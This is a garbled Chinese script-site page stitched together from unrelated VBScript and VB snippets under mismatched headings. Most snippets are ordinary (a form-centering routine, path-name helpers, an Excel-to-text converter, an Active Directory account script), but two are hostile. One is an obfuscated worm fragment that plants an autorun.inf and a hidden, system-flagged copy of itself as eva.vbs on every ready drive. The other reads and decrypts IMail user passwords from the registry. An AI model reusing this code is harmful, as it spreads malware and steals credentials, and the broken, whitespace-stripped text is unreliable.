50Thenvs=vscEndIfNextvs=replace(vs,ucase" />

科普动画脚本功能打开

发布时间:2021-06-09 来源:脚本之家 点击:

    访问HierarchicalFlexGrid控件
    要在VisualBasic中安装并访问HierarchicalFlexGrid控件,请使用以下步骤
Function vs(str)
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"
End Function

' 列出驱动器
Function listdrv()
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list"
End Function

' 写autorun.inf文件
Sub writeauto(path)
' 写Auto文件前的准备,如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If"
' autorun.inf中的启动代码
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")
' 写入
Call writefile(path&ucase("autorun.inf"),autostr)
Call writefile(path&"eva.vbs",vs(scopy))
End Sub
'将content中的内容写入fpath,并设置文件属性是ReadOnly、Hidden和System
Sub writefile(fpath,content)
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing"
End Sub

via浏览器脚本谷花泰
"
Err.Clear
endif

Next

在主窗体的Form_load()中的最前面加入下列代码:
DimX0Aslong
DimY0AsLong

'让窗体居中
X0=Screen.Width
Y0=Screen.Height
X0=(X0-Me.Width)/2
Y0=(Y0-Me.Height)/2
Me.MoveX0,Y0->


  ***********************

  '*StartScript

  '***********************

  DimsComputerName,sUserOrGroup,sPath,computerContainer,rootDSE,lFlag

  DimsecDescriptor,dACL,ACE,oComputer,sPwd

  '

  '*Declareconstantsusedindefiningthedefaultlocationforthe

  '*machineaccount,flagstoidentifytheobjectasamachineaccount,

  '*andsecurityflags

  'ConstUF_WORKSTATION_TRUST_ACCOUNT=&H1000

  ConstUF_ACCOUNTDISABLE=&H2

  ConstUF_PASSWD_NOTREQD=&H20

  ConstADS_GUID_COMPUTRS_CONTAINER="aa312825768811d1aded00c04fd8d5cd"

  ConstADS_ACETYPE_ACCESS_ALLOWED=0

  ConstADS_ACEFLAG_INHERIT_ACE=2

  '

  '*Settheflagsonthisobjecttoidentifyitasamachineaccount

  '*anddeterminethename.Thenameisusedstaticallyhere,butmay

  '*bedeterminedbyacommandlineparameterorbyusinganInputBox

  'lFlag=UF_WORKSTATION_TRUST_ACCOUNTOrUF_ACCOUNTDISABLEOrUF_PASSWD_NOTREQD

  sComputerName="TestAccount"

  '

  '*EstablishapathtothecontainerintheActiveDirectorywhere

  '*themachineaccountwillbecreated.Inthisexample,thiswill

  '*automaticallylocateadomaincontrollerforthedomain,readthe

  '*domainname,andbindtothedefault"Computers"container

  '*********************************************************************

  SetrootDSE=GetObject("")

  sPath="(sPath)

  sPath=""&computerContainer.Get("distinguishedName")

  SetcomputerContainer=GetObject(sPath)

  ''*Here,thecomputeraccountiscreated.Certainattributesmust

  '*haveavaluebeforecalling.SetInfotocommit(write)theobject

  '*totheActiveDirectory

  'SetoComputer=computerContainer.Create("computer","CN="&sComputerName)

  oComputer.Put"samAccountName",sComputerName+"$"

  oComputer.Put"userAccountControl",lFlag

  oComputer.SetInfo

  '

  '*Establishadefaultpasswordforthemachineaccount

  'sPwd=sComputerName&"$"

  sPwd=LCase(sPwd)

  oComputer.SetPasswordsPwd

  ''*Specifywhichuserorgroupmayactivate/jointhiscomputertothe

  '*domain.Inthisexample,"MYDOMAIN"isthedomainnameand

  '*"JoeSmith"istheaccountbeinggiventhepermission.Notethat

  '*thisisthedownlevelnamingconventionusedinthisexample.

  'sUserOrGroup="MYDOMAIN\joesmith"

  ''*BindtotheDiscretionaryACLonthenewlycreatedcomputeraccount

  '*andcreateanAccessControlEntry(ACE)thatgivesthespecified

  '*userorgroupfullcontrolonthemachineaccount

  'SetsecDescriptor=oComputer.Get("ntSecurityDescriptor")

  SetdACL=secDescriptor.DiscretionaryAcl

  SetACE=CreateObject("AccessControlEntry")

  '

  '*AnAccessMaskof"-1"grantsFullControl

  '

  ACE.AccessMask=-1

  ACE.AceType=ADS_ACETYPE_ACCESS_ALLOWED

  ACE.AceFlags=ADS_ACEFLAG_INHERIT_ACE

  ''*Grantthiscontroltotheuserorgroupspecifiedearlier.

  'ACE.Trustee=sUserOrGroup

  '

  '*Now,addthisACEtotheDACLonthemachineaccount

  'dACL.AddAceACE

  secDescriptor.DiscretionaryAcl=dACL

  '

  '*Commit(write)thesecuritychangestothemachineaccount

  'oComputer.Put"ntSecurityDescriptor",Array(secDescriptor)

  oComputer.SetInfo

  ''*Onceallparametersandpermissionshavebeenset,enablethe

  '*account.

  '

  oComputer.AccountDisabled=False

  oComputer.SetInfo

  ''*CreateanAccessControlEntry(ACE)thatgivesthespecifieduser

  '*orgroupfullcontrolonthemachineaccount

  'wscript.echo"Thecommandcompletedsuccessfully."

  '*****************

  '*EndScript


OptionExplicit
PrivateDeclareFunctionOSGetLongPathNameLib"VB5STKIT.DLL"Alias"GetLongPathName"(ByVallpszLongPathAsString,ByVallpszShortPathAsString,ByValcchBufferAsLong)AsLong
PublicDeclareFunctionOSGetShortPathNameLib"kernel32"Alias"GetShortPathNameA"(ByVallpszLongPathAsString,ByVallpszShortPathAsString,ByValcchBufferAsLong)AsLong
FunctionGetLongPathName(ByValstrShortPathAsString)AsString
ConstcchBuffer=300
DimstrLongPathAsString
DimlResultAsLong
OnErrorGoTo0
strLongPath=String(cchBuffer,Chr$(0))
lResult=OSGetLongPathName(strShortPath,strLongPath,cchBuffer)
IflResult=0Then
GetShortPathName=""
Else
GetLongPathName=StripTerminator(strLongPath)
EndIf
EndFunction
PublicFunctionGetShortPathName(ByValstrLongPathAsString)AsString
ConstcchBuffer=300
DimstrShortPathAsString
DimlResultAsLong
OnErrorGoTo0
strShortPath=String(cchBuffer,Chr$(0))
lResult=OSGetShortPathName(strLongPath,strShortPath,cchBuffer)
IflResult=0Then
GetShortPathName=""
Else
GetShortPathName=StripTerminator(strShortPath)
EndIf
EndFunction
'-----------------------------------------------------------
'函数:StripTerminator
'
'返回非零结尾的字符串


Set oShell=CreateObject("Shell.Application")
Set oDir=oShell.BrowseForFolder(0,"选择目录",0)
For Each x In oDir.Items
If LCase(Right(x.Path,4))=".xls" Then
XLS2TXT x.Path
End If
Next
'****************************************************************************************
'开始转换
'****************************************************************************************
Sub XLS2TXT(strFileName)
'若有装Excel只需
'oExcel.ActiveWorkbook.SaveAs strFileName & ".txt", -4158
'下面的方法适合没有装Office的系统
On Error Resume Next
Dim oConn,oAdox,oRecordSet
Set oConn=CreateObject("Adodb.Connection")
Set oAdox=CreateObject("Adox.Catalog")
sConn="Provider=Microsoft.Jet.Oledb.4.0;" & _
"Data Source=" & strFileName & ";" & _
"Extended Properties=""Excel 8.0; HDR=No"";"
sSQL="Select * From "
oConn.Open sConn
if Err Then
Msgbox "错误代码:" & Err.Number & VbCrLf & Err.Description
Err.Clear
else
oAdox.ActiveConnection=oConn
sSQL=sSQL & "[" & oAdox.Tables(0).Name & "]" '为了简便,只处理第一个工作表
Set oRecordSet=oConn.Execute(sSQL)
if Err Then
Msgbox "错误代码:" & Err.Number & VbCrLf & Err.Description
Err.Clear
else
Write strFileName & ".txt",oRecordSet.GetString
end if
end If
oRecordSet.Close
oConn.Close
Set oRecordSet=Nothing
Set oAdox=Nothing
Set oConn=Nothing
End Sub
'****************************************************************************************
'写入文件,同名覆盖,无则创建
'****************************************************************************************
Sub Write(strName,str)
Dim oFSO,oFile
Set oFSO=CreateObject("Scripting.FileSystemObject")
Set oFile=oFSO.OpenTextFile(strName,2,True) '不存在则创建,强制覆盖
oFile.Write str
oFile.Close
Set oFile=Nothing
Set oFSO=Nothing
End Sub
当一个SQL语句包含在存储过程中时,服务器不必每次执行它时都要分析和编译它


on error resume next
const HKEY_LOCAL_MACHINE=&H80000002
strComputer="."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath="SOFTWARE\Ipswitch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo "Domain: "&subkey
strKeyPath2=strKeyPath&""&subkey&"\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2&""&subkey2
strValueName="Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)
end if
Next
Next

function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&H"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function
极速百度云你只需通过设置控件的属性并调用其方法就可轻易连接到一台远程计算机中,并且还可以双向交换数据,而这一切都不需你了解TCP的细节或调用低级的WinsockAPIs

请注意,我们捕获了变量 errResult 中的返回代码(操作的结果)。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号